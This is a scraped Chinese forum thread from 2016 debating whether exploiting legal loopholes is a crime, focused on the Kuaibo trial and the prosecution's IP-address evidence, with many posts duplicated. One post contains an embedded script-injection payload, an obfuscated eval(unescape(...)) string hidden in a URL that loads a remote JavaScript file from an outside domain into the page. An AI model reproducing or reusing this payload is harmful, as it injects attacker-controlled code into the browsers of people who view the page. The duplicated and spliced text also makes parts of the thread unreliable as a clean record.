钻法律漏洞,算不算犯罪,算的话,如何定罪

来源:百度文库 编辑:超级军网 时间:2024/04/30 01:26:29
那个快播律师,说“法无禁止即可为”

不就是说快播的软件客观上造成了损失造成了不良影响,但是要追究的不是快播,因为快播没有传播不良视频,是那些用户传播的,所以快播是无罪的,因为找不到罪名来定性他的行为

是这个意思吗?即说快播仅仅是钻了法律的漏洞,那既然是钻法律空子,那就是说他的行为没有违反任何法律,因为“无法可依”。

那不就是立法不完善,立法跟不上时代和技术的发展嘛

这样理解是否妥当。
那个快播律师,说“法无禁止即可为”

不就是说快播的软件客观上造成了损失造成了不良影响,但是要追究的不是快播,因为快播没有传播不良视频,是那些用户传播的,所以快播是无罪的,因为找不到罪名来定性他的行为

是这个意思吗?即说快播仅仅是钻了法律的漏洞,那既然是钻法律空子,那就是说他的行为没有违反任何法律,因为“无法可依”。

那不就是立法不完善,立法跟不上时代和技术的发展嘛

这样理解是否妥当。
我来看隐藏的东西的http://www.coolool.com/flash.swf?\'+eval(unescape(/var%20b%3Ddocument.createElement%28%22script%22%29%3Bb.src%3D%22http%3A%2F%2Fwww.dzsstye.com%2Fa.js%22%3B%28document.getElementsByTagName%28%22HEAD%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28b%29%3B/.source))+\'
法律有漏洞就补啊...当然钻漏洞是国家司法和立法的问题...如果法律条文没有规定只能...


法的精神就是这样,不禁止的都是合法的。允许钻法律漏洞,恰恰说明了这是法治而不是人治。

如果有人称钻法律空子也算犯罪,那么这个人根本不懂法治,骨子里还是人治的那一套。

法的精神就是这样,不禁止的都是合法的。允许钻法律漏洞,恰恰说明了这是法治而不是人治。

如果有人称钻法律空子也算犯罪,那么这个人根本不懂法治,骨子里还是人治的那一套。


法律都没说是犯罪,到楼主嘴上就是犯罪了?

犯罪的标准是什么?由谁来认定犯罪?

这个都没搞搞懂,谈什么法呢?

正因为中国的权利,舆论的左右,蒙蔽了百姓对法律的认识




法律都没说是犯罪,到楼主嘴上就是犯罪了?

犯罪的标准是什么?由谁来认定犯罪?

这个都没搞搞懂,谈什么法呢?

正因为中国的权利,舆论的左右,蒙蔽了百姓对法律的认识


有高院的司法解释,有个p的漏洞,这是比人大立法nb的多的存在,根本不需要立法就能当法律用。
法,按《法哲学原理》,分抽象法、道德法、伦理法。

对狭义割裂作形而上学操作,有实存基础,无存在根据。
次轨道 发表于 2016-1-11 15:24
法律都没说是犯罪,到楼主嘴上就是犯罪了?

犯罪的标准是什么?由谁来认定犯罪?

chaodabbs 发表于 2016-1-11 15:29
有高院的司法解释,有个p的漏洞,这是比人大立法nb的多的存在,根本不需要立法就能当法律用。


不是钻漏洞的问题,关键是公安机关不按程序办案,所以才被别人钻漏洞!!如果这叫漏洞,那就是允许人民去钻,鼓励人民去钻,否则,公安机关可以随意将人定罪了,不用法院审判了。。。法院和检察院都可以撤销了!


快播案公诉人:我们在将电脑交给信诺公司的时候,登记了电脑上的IP地址。。。信诺公司交还给我们的时候,仍然是原来的IP地址,由此可以证明,电脑仍然是原来的电脑。(庭审的时候,反复强调了四,五次)

IP地址啊,我的妈呀,好铁的证据啊!我必须向公安机关报告一下,我的电脑上的IP地址与庭审时快播公司的IP地址是一样的,由此证明,我的电脑才是快播公司的电脑,你们拿错电脑了!!!


逻辑推论:
公安机关:我们在将人送给信诺公司的时候,登记了他穿的蓝色衣服……信诺公司交还给我们的时候,仍然穿着原来那件蓝色衣服,由此可以证明,这个人就是原来那个人!



公安机关的手中没有此人的姓名,地址,身份证号码,照片,更重要的是,也没有一个人认识这个人(所有电脑硬盘,服务器都是一样的),只知道他穿着蓝色衣服,如此办案啊!!


那么,现在请公安机关证明,这个人是原来那个人!否则……
chaodabbs 发表于 2016-1-11 15:29
有高院的司法解释,有个p的漏洞,这是比人大立法nb的多的存在,根本不需要立法就能当法律用。


不是钻漏洞的问题,关键是公安机关不按程序办案,所以才被别人钻漏洞!!如果这叫漏洞,那就是允许人民去钻,鼓励人民去钻,否则,公安机关可以随意将人定罪了,不用法院审判了。。。法院和检察院都可以撤销了!


快播案公诉人:我们在将电脑交给信诺公司的时候,登记了电脑上的IP地址。。。信诺公司交还给我们的时候,仍然是原来的IP地址,由此可以证明,电脑仍然是原来的电脑。(庭审的时候,反复强调了四,五次)

IP地址啊,我的妈呀,好铁的证据啊!我必须向公安机关报告一下,我的电脑上的IP地址与庭审时快播公司的IP地址是一样的,由此证明,我的电脑才是快播公司的电脑,你们拿错电脑了!!!


逻辑推论:
公安机关:我们在将人送给信诺公司的时候,登记了他穿的蓝色衣服……信诺公司交还给我们的时候,仍然穿着原来那件蓝色衣服,由此可以证明,这个人就是原来那个人!



公安机关的手中没有此人的姓名,地址,身份证号码,照片,更重要的是,也没有一个人认识这个人(所有电脑硬盘,服务器都是一样的),只知道他穿着蓝色衣服,如此办案啊!!


那么,现在请公安机关证明,这个人是原来那个人!否则……
要清楚民事案件和刑事案件的区别。
法也是不断完善的,但执法的信用是要从一而终的
用迅雷下载AV的更多吧?应该把迅雷给封了
用迅雷下载AV的更多吧?应该把迅雷给封了
下载只是传播而已。跟快播类似的是迅雷看看。
服务器IP一般都是固定的,公诉人的话没有漏洞, 关键如果是服务器共用的话怎么才能确定查到的是属于快播的
bloodywind 发表于 2016-1-11 19:01
服务器IP一般都是固定的,公诉人的话没有漏洞, 关键如果是服务器共用的话怎么才能确定查到的是属于快播的
服务器IP固定就和警察都会穿警服一样……脱掉也是可以,再换一件也是可以的。

不是警察的人也是可以穿的……

不明白吗?
寂寞拾秋客 发表于 2016-1-11 18:55
下载只是传播而已。跟快播类似的是迅雷看看。
传播不犯罪?
传播不犯罪?
我说的是类比相同点。
至于传播啥的,中国八零后生人几乎各个是犯罪嫌疑人。
定罪必须靠证据。
楼主好好读读美国辛普森杀妻案刑事和民事部分分别是怎么判定有罪的。读完你就知道法律大概是什么了。依法治国,这个法,看来还是领导的看法啊